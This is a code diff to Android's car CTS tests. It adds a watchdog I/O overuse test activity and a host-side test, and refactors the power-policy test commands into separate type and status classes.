+    private static final double EXCEED_WARN_THRESHOLD_PERCENT = 0.9;
+
+    private final ExecutorService mExecutor = Executors.newSingleThreadExecutor();
+    private final Object mLock = new Object();
+
+    @GuardedBy("mLock")
+    private CarWatchdogManager mCarWatchdogManager;
+
+    private String mDumpMessage = "";
+    private Car mCar;
+    private File mTestDir;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        initCarApi();
+        try {
+            mTestDir =
+                    Files.createTempDirectory(getFilesDir().toPath(), "testDir").toFile();
+        } catch (IOException e) {
+            setDumpMessage("ERROR: " + e.getMessage());
+            finish();
+            return;
+        }
+        mExecutor.execute(
+                () -> {
+                    synchronized (mLock) {
+                        if (mCarWatchdogManager == null) {
+                            Log.e(TAG, "CarWatchdogManager is null.");
+                            finish();
+                            return;
+                        }
+                    }
+                    IoOveruseListener listener = addResourceOveruseListener();
+                    try {
+                        if (!writeToDisk(TEN_MEGABYTES)) {
+                            finish();
+                            return;
+                        }
+
+                        long remainingBytes = fetchRemainingBytes(TEN_MEGABYTES);
+                        if (remainingBytes == 0) {
+                            Log.d(TAG, "Remaining bytes is 0 after writing " + TEN_MEGABYTES
+                                    + " bytes to disk.");
+                            finish();
+                            return;
+                        }
+
+                        /*
+                         * Warning notification is received as soon as exceeding
+                         * |WARN_THRESHOLD_PERCENT|. So, set expected minimum written bytes to
+                         * |WARN_THRESHOLD_PERCENT| of the overuse threshold.
+                         */
+                        long bytesToWarnThreshold =
+                                (long) (TWO_HUNDRED_MEGABYTES * WARN_THRESHOLD_PERCENT);
+
+                        listener.setExpectedMinWrittenBytes(bytesToWarnThreshold);
+
+                        long bytesToExceedWarnThreshold =
+                                (long) Math.ceil(remainingBytes
+                                        * EXCEED_WARN_THRESHOLD_PERCENT);
+
+                        if (!writeToDisk(bytesToExceedWarnThreshold)) {
+                            finish();
+                            return;
+                        }
+
+                        listener.checkIsNotified();
+                    } finally {
+                        synchronized (mLock) {
+                            mCarWatchdogManager.removeResourceOveruseListener(listener);
+                        }
+                        /* Foreground mode bytes dumped after removing listener to ensure hostside
+                         * receives dump message after test is finished.
+                         */
+                        listener.dumpForegroundModeBytes();
+                    }
+                });
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        setDumpMessage("");
+        Bundle extras = intent.getExtras();
+        if (extras == null) {
+            Log.w(TAG, "onNewIntent: empty extras");
+            return;
+        }
+        long remainingBytes = extras.getLong(BYTES_TO_KILL);
+        Log.d(TAG, "Bytes to kill: " + remainingBytes);
+        if (remainingBytes == 0) {
+            Log.w(TAG, "onNewIntent: remaining bytes is 0");
+            return;
+        }
+        mExecutor.execute(() -> {
+            synchronized (mLock) {
+                if (mCarWatchdogManager == null) {
+                    Log.e(TAG, "onNewIntent: CarWatchdogManager is null.");
+                    finish();
+                    return;
+                }
+            }
+            IoOveruseListener listener = addResourceOveruseListener();
+            try {
+                listener.setExpectedMinWrittenBytes(TWO_HUNDRED_MEGABYTES);
+
+                writeToDisk(remainingBytes);
+
+                listener.checkIsNotified();
+            } finally {
+                synchronized (mLock) {
+                    mCarWatchdogManager.removeResourceOveruseListener(listener);
+                }
+                /* Foreground mode bytes dumped after removing listener to ensure hostside
+                 * receives dump message after test is finished.
+                 */
+                listener.dumpForegroundModeBytes();
+            }
+        });
+    }
+
+    @Override
+    public void dump(String prefix, FileDescriptor fd, PrintWriter writer, String[] args) {
+        if (mDumpMessage.isEmpty()) {
+            return;
+        }
+        writer.printf("%s: %s\n", TAG, mDumpMessage);
+        Log.i(TAG, "Dumping message: '" + mDumpMessage + "'");
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (mCar != null) {
+            mCar.disconnect();
+        }
+        if (mTestDir.delete()) {
+            Log.i(TAG, "Deleted directory '" + mTestDir.getAbsolutePath() + "' successfully");
+        } else {
+            Log.e(TAG, "Failed to delete directory '" + mTestDir.getAbsolutePath() + "'");
+        }
+        super.onDestroy();
+    }
+
+    private void initCarApi() {
+        if (mCar != null && mCar.isConnected()) {
+            mCar.disconnect();
+            mCar = null;
+        }
+        mCar = Car.createCar(this, null, Car.CAR_WAIT_TIMEOUT_WAIT_FOREVER,
+                this::initManagers);
+    }
+
+    private void initManagers(Car car, boolean ready) {
+        synchronized (mLock) {
+            if (ready) {
+                mCarWatchdogManager = (CarWatchdogManager) car.getCarManager(
+                        Car.CAR_WATCHDOG_SERVICE);
+                Log.d(TAG, "initManagers() completed");
+            } else {
+                mCarWatchdogManager = null;
+                Log.wtf(TAG, "mCarWatchdogManager set to be null");
+            }
+        }
+    }
+
+    private IoOveruseListener addResourceOveruseListener() {
+        IoOveruseListener listener = new IoOveruseListener();
+        synchronized (mLock) {
+            mCarWatchdogManager.addResourceOveruseListener(getMainExecutor(),
+                    CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO, listener);
+        }
+        return listener;
+    }
+
+    private boolean writeToDisk(long bytes) {
+        File uniqueFile = new File(mTestDir, Long.toString(System.nanoTime()));
+        boolean result = writeToFile(uniqueFile, bytes);
+        if (uniqueFile.delete()) {
+            Log.i(TAG, "Deleted file: " + uniqueFile.getAbsolutePath());
+        } else {
+            Log.e(TAG, "Failed to delete file: " + uniqueFile.getAbsolutePath());
+        }
+        return result;
+    }
+
+    private boolean writeToFile(File uniqueFile, long bytes) {
+        long writtenBytes = 0;
+        try (FileOutputStream fos = new FileOutputStream(uniqueFile)) {
+            Log.d(TAG, "Attempting to write " + bytes + " bytes");
+            writtenBytes = writeToFos(fos, bytes);
+            if (writtenBytes < bytes) {
+                setDumpMessage("ERROR: Failed to write '" + bytes
+                        + "' bytes to disk. '" + writtenBytes
+                        + "' bytes were successfully written, while '" + (bytes - writtenBytes)
+                        + "' bytes were pending at the moment the exception occurred.");
+                return false;
+            }
+            fos.getFD().sync();
+            // Wait for the IO event to propagate to the system
+            Thread.sleep(DISK_DELAY_MS);
+            return true;
+        } catch (IOException | InterruptedException e) {
+            String message;
+            if (e instanceof IOException) {
+                message = "I/O exception";
+            } else {
+                message = "Thread interrupted";
+                Thread.currentThread().interrupt();
+            }
+            if (writtenBytes > 0) {
+                message += " after successfully writing to disk.";
+            }
+            Log.e(TAG, message, e);
+            setDumpMessage("ERROR: " + message);
+            return false;
+        }
+    }
+
+    private long writeToFos(FileOutputStream fos, long remainingBytes) {
+        long totalBytesWritten = 0;
+        while (remainingBytes != 0) {
+            int writeBytes =
+                    (int) Math.min(Integer.MAX_VALUE,
+                            Math.min(Runtime.getRuntime().freeMemory(), remainingBytes));
+            try {
+                fos.write(new byte[writeBytes]);
+            }  catch (InterruptedIOException e) {
+                Thread.currentThread().interrupt();
+                continue;
+            } catch (IOException e) {
+                Log.e(TAG, "I/O exception while writing " + writeBytes + " to disk", e);
+                return totalBytesWritten;
+            }
+            totalBytesWritten += writeBytes;
+            remainingBytes -= writeBytes;
+            if (writeBytes > 0 && remainingBytes > 0) {
+                Log.i(TAG, "Total bytes written: " + totalBytesWritten + "/"
+                        + (totalBytesWritten + remainingBytes));
+            }
+        }
+        Log.d(TAG, "Write completed.");
+        return totalBytesWritten;
+    }
+
+    private long fetchRemainingBytes(long minWrittenBytes) {
+        ResourceOveruseStats stats;
+        synchronized (mLock) {
+            stats = mCarWatchdogManager.getResourceOveruseStats(
+                    CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
+                    CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
+        }
+        Log.d(TAG, "Fetched resource overuse stats: " + stats);
+        IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
+        if (ioOveruseStats == null) {
+            setDumpMessage(
+                    "ERROR: No I/O overuse stats available for the application after writing "
+                    + minWrittenBytes + " bytes.");
+            return 0;
+        }
+        if (ioOveruseStats.getTotalBytesWritten() < minWrittenBytes) {
+            setDumpMessage("ERROR: Actual written bytes to disk '" + minWrittenBytes
+                    + "' don't match written bytes '" + ioOveruseStats.getTotalBytesWritten()
+                    + "' returned by get request");
+            return 0;
+        }
+        /*
+         * Check for foreground mode bytes given CtsCarApp is running in the foreground
+         * during testing.
+         */
+        return ioOveruseStats.getRemainingWriteBytes().getForegroundModeBytes();
+    }
+
+    private void setDumpMessage(String message) {
+        if (mDumpMessage.startsWith("ERROR:")) {
+            mDumpMessage += ", " + message;
+        } else {
+            mDumpMessage = message;
+        }
+    }
+
+    private final class IoOveruseListener
+            implements CarWatchdogManager.ResourceOveruseListener {
+        private static final int NOTIFICATION_DELAY_MS = 5000;
+
+        private final Object mLock = new Object();
+        @GuardedBy("mLock")
+        private boolean mNotificationReceived;
+        @GuardedBy("mLock")
+        private long mForegroundModeBytes;
+
+        private long mExpectedMinWrittenBytes;
+
+        @Override
+        public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
+            synchronized (mLock) {
+                Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
+                mForegroundModeBytes = -1;
+                mNotificationReceived = true;
+                mLock.notifyAll();
+                if (resourceOveruseStats.getIoOveruseStats() == null) {
+                    setDumpMessage(
+                            "ERROR: No I/O overuse stats reported for the application in the "
+                            + "overuse notification.");
+                    return;
+                }
+                long reportedWrittenBytes =
+                        resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+                if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+                    setDumpMessage("ERROR: Actual written bytes to disk '"
+                            + mExpectedMinWrittenBytes + "' don't match written bytes '"
+                            + reportedWrittenBytes + "' reported in overuse notification");
+                    return;
+                }
+                mForegroundModeBytes =
+                        resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
+                                .getForegroundModeBytes();
+            }
+        }
+
+        public void dumpForegroundModeBytes() {
+            synchronized (mLock) {
+                setDumpMessage(
+                        "INFO: --Notification-- foregroundModeBytes = " + mForegroundModeBytes);
+            }
+        }
+
+        public void setExpectedMinWrittenBytes(long expectedMinWrittenBytes) {
+            mExpectedMinWrittenBytes = expectedMinWrittenBytes;
+        }
+
+        public void checkIsNotified() {
+            synchronized (mLock) {
+                long now = SystemClock.uptimeMillis();
+                long deadline = now + NOTIFICATION_DELAY_MS;
+                while (!mNotificationReceived && now < deadline) {
+                    try {
+                        mLock.wait(deadline - now);
+                    } catch (InterruptedException e) {
+                        Thread.currentThread().interrupt();
+                        continue;
+                    } finally {
+                        now = SystemClock.uptimeMillis();
+                    }
+                    break;
+                }
+                if (!mNotificationReceived) {
+                    setDumpMessage("ERROR: I/O Overuse notification not received.");
+                }
+            }
+        }
+    }
+}
diff --git a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java
index bd34fbe..1826837 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestClient.java
@@ -40,7 +40,7 @@
     private static final String TEST_CMD_ADD_POLICY_LISTENER = "addlistener";
     private static final String TEST_CMD_REMOVE_POLICY_LISTENER = "removelistener";
     private static final String TEST_CMD_DUMP_POLICY_LISTENER = "dumplistener";
-    private static final String TEST_CMD_WAIT_POLICY_LISTENERS = "waitlisteners";
+    private static final String TEST_CMD_CHECK_POLICY_LISTENERS = "checklisteners";
     private static final String TEST_CMD_RESET_POLICY_LISTENERS = "resetlisteners";
     private static final int MAX_THREAD_POOL_SIZE = 1;
 
@@ -111,8 +111,8 @@
             case TEST_CMD_DUMP_POLICY_LISTENER:
                 cmd = new PowerPolicyTestCommand.DumpListenerCommand(this, tokens[1]);
                 break;
-            case TEST_CMD_WAIT_POLICY_LISTENERS:
-                cmd = new PowerPolicyTestCommand.WaitListenersCommand(this);
+            case TEST_CMD_CHECK_POLICY_LISTENERS:
+                cmd = new PowerPolicyTestCommand.CheckListenersCommand(this);
                 break;
             case TEST_CMD_RESET_POLICY_LISTENERS:
                 cmd = new PowerPolicyTestCommand.ResetListenersCommand(this);
diff --git a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java
index 65d086f..c3a0612 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java
@@ -19,38 +19,25 @@
 import android.car.hardware.power.CarPowerPolicy;
 import android.util.Log;
 
-import com.android.compatibility.common.util.PollingCheck;
-
 import java.util.Arrays;
 
 
 public abstract class PowerPolicyTestCommand {
-    enum TestCommandType {
-        SET_TEST,
-        CLEAR_TEST,
-        DUMP_POLICY,
-        ADD_LISTENER,
-        REMOVE_LISTENER,
-        DUMP_LISTENER,
-        RESET_LISTENERS,
-        WAIT_LISTENERS
-    }
-
     private static final String TAG = PowerPolicyTestCommand.class.getSimpleName();
     private static final String NO_POLICY = "null";
-    private static final int TEST_WAIT_DURATION_MS = 5_000;
 
-    private final TestCommandType mType;
+    private final PowerPolicyTestCommandType mType;
     protected final PowerPolicyTestClient mTestClient;
     protected final String mData;
 
-    PowerPolicyTestCommand(PowerPolicyTestClient testClient, String data, TestCommandType type) {
+    PowerPolicyTestCommand(PowerPolicyTestClient testClient, String data,
+            PowerPolicyTestCommandType type) {
         mTestClient = testClient;
         mData = data;
         mType = type;
     }
 
-    TestCommandType getType() {
+    PowerPolicyTestCommandType getType() {
         return mType;
     }
 
@@ -66,7 +53,7 @@
 
     static final class SetTestCommand extends PowerPolicyTestCommand {
         SetTestCommand(PowerPolicyTestClient testClient, String data) {
-            super(testClient, data, TestCommandType.SET_TEST);
+            super(testClient, data, PowerPolicyTestCommandType.SET_TEST);
         }
 
         @Override
@@ -80,7 +67,7 @@
 
     static final class ClearTestCommand extends PowerPolicyTestCommand {
         ClearTestCommand(PowerPolicyTestClient testClient) {
-            super(testClient, /* data = */ null, TestCommandType.CLEAR_TEST);
+            super(testClient, /* data = */ null, PowerPolicyTestCommandType.CLEAR_TEST);
         }
 
         @Override
@@ -94,7 +81,7 @@
 
     static final class DumpPolicyCommand extends PowerPolicyTestCommand {
         DumpPolicyCommand(PowerPolicyTestClient testClient) {
-            super(testClient, /* data = */ null, TestCommandType.DUMP_POLICY);
+            super(testClient, /* data = */ null, PowerPolicyTestCommandType.DUMP_POLICY);
         }
 
         @Override
@@ -126,7 +113,7 @@
 
     static final class AddListenerCommand extends PowerPolicyTestCommand {
         AddListenerCommand(PowerPolicyTestClient testClient, String compName) {
-            super(testClient, compName, TestCommandType.ADD_LISTENER);
+            super(testClient, compName, PowerPolicyTestCommandType.ADD_LISTENER);
         }
 
         @Override
@@ -135,9 +122,9 @@
             mTestClient.printResultHeader(getType().name());
             try {
                 mTestClient.registerPowerPolicyListener(mData);
-                mTestClient.printlnResult("succeed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.SUCCEED);
             } catch (Exception e) {
-                mTestClient.printlnResult("failed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.FAILED);
                 Log.e(TAG, "failed to addListener", e);
             }
         }
@@ -145,7 +132,7 @@
 
     static final class RemoveListenerCommand extends PowerPolicyTestCommand {
         RemoveListenerCommand(PowerPolicyTestClient testClient, String compName) {
-            super(testClient, compName, TestCommandType.REMOVE_LISTENER);
+            super(testClient, compName, PowerPolicyTestCommandType.REMOVE_LISTENER);
         }
 
         @Override
@@ -154,9 +141,9 @@
             mTestClient.printResultHeader(getType().name());
             try {
                 mTestClient.unregisterPowerPolicyListener(mData);
-                mTestClient.printlnResult("succeed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.SUCCEED);
             } catch (Exception e) {
-                mTestClient.printlnResult("failed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.FAILED);
                 Log.e(TAG, "failed to removeListener", e);
             }
         }
@@ -164,7 +151,7 @@
 
     static final class DumpListenerCommand extends PowerPolicyTestCommand {
         DumpListenerCommand(PowerPolicyTestClient testClient, String compName) {
-            super(testClient, compName, TestCommandType.DUMP_LISTENER);
+            super(testClient, compName, PowerPolicyTestCommandType.DUMP_LISTENER);
         }
 
         @Override
@@ -186,30 +173,28 @@
         }
     }
 
-    static final class WaitListenersCommand extends PowerPolicyTestCommand {
-        WaitListenersCommand(PowerPolicyTestClient testClient) {
-            super(testClient, /* data = */ null, TestCommandType.WAIT_LISTENERS);
+    static final class CheckListenersCommand extends PowerPolicyTestCommand {
+        CheckListenersCommand(PowerPolicyTestClient testClient) {
+            super(testClient, /* data = */ null, PowerPolicyTestCommandType.CHECK_LISTENERS);
         }
 
         @Override
         public void execute() {
             Log.d(TAG, "waitListeners: " + mTestClient.getTestcase());
             mTestClient.printResultHeader(getType().name());
-            try {
-                PollingCheck.check("policy change isn't propagated", TEST_WAIT_DURATION_MS,
-                        () -> mTestClient.arePowerPolicyListenersUpdated());
-                mTestClient.printlnResult("propagated");
+            if (mTestClient.arePowerPolicyListenersUpdated()) {
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.PROPAGATED);
                 Log.d(TAG, "policy change is propagated");
-            } catch (Exception e) {
-                mTestClient.printlnResult("not_propagated");
-                Log.d(TAG, "failed propagate power policy", e);
+            } else {
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.IN_PROGRESS);
+                Log.d(TAG, "policy change is in-progress");
             }
         }
     }
 
     static final class ResetListenersCommand extends PowerPolicyTestCommand {
         ResetListenersCommand(PowerPolicyTestClient testClient) {
-            super(testClient, /* data = */ null, TestCommandType.RESET_LISTENERS);
+            super(testClient, /* data = */ null, PowerPolicyTestCommandType.RESET_LISTENERS);
         }
 
         @Override
@@ -218,9 +203,9 @@
             mTestClient.printResultHeader(getType().name());
             try {
                 mTestClient.resetPowerPolicyListeners();
-                mTestClient.printlnResult("succeed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.SUCCEED);
             } catch (Exception e) {
-                mTestClient.printlnResult("failed");
+                mTestClient.printlnResult(PowerPolicyTestCommandStatus.FAILED);
             }
         }
     }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandStatus.java
similarity index 63%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandStatus.java
index 669bb13..95cc025 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandStatus.java
@@ -14,11 +14,13 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.car.cts.app;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+public final class PowerPolicyTestCommandStatus {
+    public static final String IN_PROGRESS = "in-progress";
+    public static final String PROPAGATED = "propagated";
+    public static final String SUCCEED = "succeed";
+    public static final String FAILED = "failed";
 
-    }
+    private PowerPolicyTestCommandStatus() { }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandType.java
similarity index 73%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandType.java
index 936827b..908391b 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommandType.java
@@ -14,10 +14,15 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.car.cts.app;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+public enum PowerPolicyTestCommandType {
+    SET_TEST,
+    CLEAR_TEST,
+    DUMP_POLICY,
+    ADD_LISTENER,
+    REMOVE_LISTENER,
+    DUMP_LISTENER,
+    RESET_LISTENERS,
+    CHECK_LISTENERS
+};
diff --git a/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
index 8cc1552..595881a 100644
--- a/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
+++ b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
@@ -77,7 +77,7 @@
 
     /**
      * User's package permission pattern string format in the output of "dumpsys package PKG_NAME"
-    */
+     */
     protected static final String APP_APK = "CtsCarApp.apk";
     protected static final String APP_PKG = "android.car.cts.app";
 
@@ -465,6 +465,13 @@
     }
 
     /**
+     * Checks if the given package has a process running on the device.
+     */
+    protected boolean isPackageRunning(String packageName) throws Exception {
+        return !executeCommand("pidof %s", packageName).isEmpty();
+    }
+
+    /**
      * Sleeps for the given amount of milliseconds.
      */
     protected void sleep(long ms) throws InterruptedException {
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
new file mode 100644
index 0000000..6859866
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -0,0 +1,368 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStats;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported;
+import com.android.os.AtomsProto.CarWatchdogKillStatsReported;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.LocalDateTime;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CarWatchdogHostTest extends CarHostJUnit4TestCase {
+    public static final String TAG = CarWatchdogHostTest.class.getSimpleName();
+
+    /**
+     * CarWatchdog app package.
+     */
+    protected static final String WATCHDOG_APP_PKG = "android.car.cts.watchdog.sharedapp";
+
+    /**
+     * CarWatchdog app shared user id.
+     */
+    protected static final String WATCHDOG_APP_SHARED_USER_ID =
+            "shared:android.car.cts.uid.watchdog.sharedapp";
+
+    /**
+     * The class name of the main activity in the APK.
+     */
+    private static final String ACTIVITY_CLASS = APP_PKG + ".CarWatchdogTestActivity";
+
+    /**
+     * The command to start a custom performance collection with CarWatchdog.
+     */
+    private static final String START_CUSTOM_PERF_COLLECTION_CMD =
+            "dumpsys android.automotive.watchdog.ICarWatchdog/default --start_perf --max_duration"
+                    + " 600 --interval 1";
+
+    /**
+     * The command to stop a custom performance collection in CarWatchdog.
+     */
+    private static final String STOP_CUSTOM_PERF_COLLECTION_CMD =
+            "dumpsys android.automotive.watchdog.ICarWatchdog/default --stop_perf > /dev/null";
+
+    /**
+     * The command to reset I/O overuse counters in the adb shell, which clears any previous
+     * stats saved by watchdog.
+     */
+    private static final String RESET_RESOURCE_OVERUSE_CMD = String.format(
+            "dumpsys android.automotive.watchdog.ICarWatchdog/default "
+                    + "--reset_resource_overuse_stats %s,%s", APP_PKG, WATCHDOG_APP_SHARED_USER_ID);
+
+    /**
+     * The command to get I/O overuse foreground bytes threshold in the adb shell.
+     */
+    private static final String GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD =
+            "cmd car_service watchdog-io-get-3p-foreground-bytes";
+
+    /**
+     * The command to set I/O overuse foreground bytes threshold in the adb shell.
+     */
+    private static final String SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD =
+            "cmd car_service watchdog-io-set-3p-foreground-bytes";
+
+    private static final String DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service define-power-policy cts_car_watchdog_enable_display "
+                    + "--enable DISPLAY";
+
+    private static final String DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service define-power-policy cts_car_watchdog_disable_display "
+                    + "--disable DISPLAY";
+
+    private static final String APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service apply-power-policy cts_car_watchdog_enable_display";
+
+    private static final String APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service apply-power-policy cts_car_watchdog_disable_display";
+
+    private static final long FIFTY_MEGABYTES = 1024 * 1024 * 50;
+    private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
+
+    private static final int RECURRING_OVERUSE_COUNT = 3;
+
+    private static final Pattern DUMP_PATTERN = Pattern.compile(
+            "CarWatchdogTestActivity:\\s(.+)");
+
+    private static final Pattern FOREGROUND_BYTES_PATTERN = Pattern.compile(
+            "foregroundModeBytes = (\\d+)");
+
+    private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
+
+    private boolean mDidModifyDateTime;
+    private long mOriginalForegroundBytes;
+
+    @Before
+    public void dateSetUp() throws Exception {
+        checkAndSetDate();
+    }
+
+    @After
+    public void dateReset() throws Exception {
+        checkAndResetDate();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        executeCommand(DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD);
+        executeCommand(DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD);
+        mOriginalForegroundBytes = parseForegroundBytesFromMessage(executeCommand(
+                GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD));
+        executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, TWO_HUNDRED_MEGABYTES);
+        executeCommand("logcat -c");
+        executeCommand(START_CUSTOM_PERF_COLLECTION_CMD);
+        executeCommand(RESET_RESOURCE_OVERUSE_CMD);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        executeCommand(APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD);
+        // Enable the CTS packages by running the reset resource overuse command.
+        executeCommand(RESET_RESOURCE_OVERUSE_CMD);
+        executeCommand(STOP_CUSTOM_PERF_COLLECTION_CMD);
+        executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, mOriginalForegroundBytes);
+    }
+
+    @Test
+    public void testIoOveruseKillAfterDisplayTurnOff() throws Exception {
+        uploadStatsdConfig(APP_PKG);
+
+        for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+            overuseDiskIo(APP_PKG);
+            verifyAtomIoOveruseStatsReported(APP_PKG, /* overuseTimes= */ i + 1);
+            ReportUtils.clearReports(getDevice());
+        }
+
+        executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
+
+        verifyTestAppKilled(APP_PKG);
+        verifyAtomKillStatsReported(APP_PKG);
+    }
+
+    @Test
+    public void testIoOveruseKillAfterDisplayTurnOffWithSharedUserIdApp() throws Exception {
+        uploadStatsdConfig(WATCHDOG_APP_PKG);
+
+        for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+            overuseDiskIo(WATCHDOG_APP_PKG);
+            verifyAtomIoOveruseStatsReported(WATCHDOG_APP_PKG, /* overuseTimes= */ i + 1);
+            ReportUtils.clearReports(getDevice());
+        }
+
+        executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
+
+        verifyTestAppKilled(WATCHDOG_APP_PKG);
+        verifyAtomKillStatsReported(WATCHDOG_APP_PKG);
+    }
+
+    private void uploadStatsdConfig(String packageName) throws Exception {
+        StatsdConfig.Builder config = ConfigUtils.createConfigBuilder("AID_SYSTEM");
+        ConfigUtils.addEventMetricForUidAtom(config,
+                Atom.CAR_WATCHDOG_IO_OVERUSE_STATS_REPORTED_FIELD_NUMBER,
+                /* uidInAttributionChain= */ false, packageName);
+        ConfigUtils.addEventMetricForUidAtom(config,
+                Atom.CAR_WATCHDOG_KILL_STATS_REPORTED_FIELD_NUMBER,
+                /* uidInAttributionChain= */ false, packageName);
+        ConfigUtils.uploadConfig(getDevice(), config);
+    }
+
+    private void verifyAtomIoOveruseStatsReported(String packageName, int overuseTimes)
+            throws Exception {
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertWithMessage("Reported I/O overuse event metrics data").that(data).hasSize(1);
+
+        CarWatchdogIoOveruseStatsReported atom =
+                data.get(0).getAtom().getCarWatchdogIoOveruseStatsReported();
+
+        int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+        assertWithMessage("UID in atom from " + overuseTimes + " overuse").that(atom.getUid())
+                .isEqualTo(appUid);
+        assertWithMessage("Atom has I/O overuse stats from " + overuseTimes + " overuse")
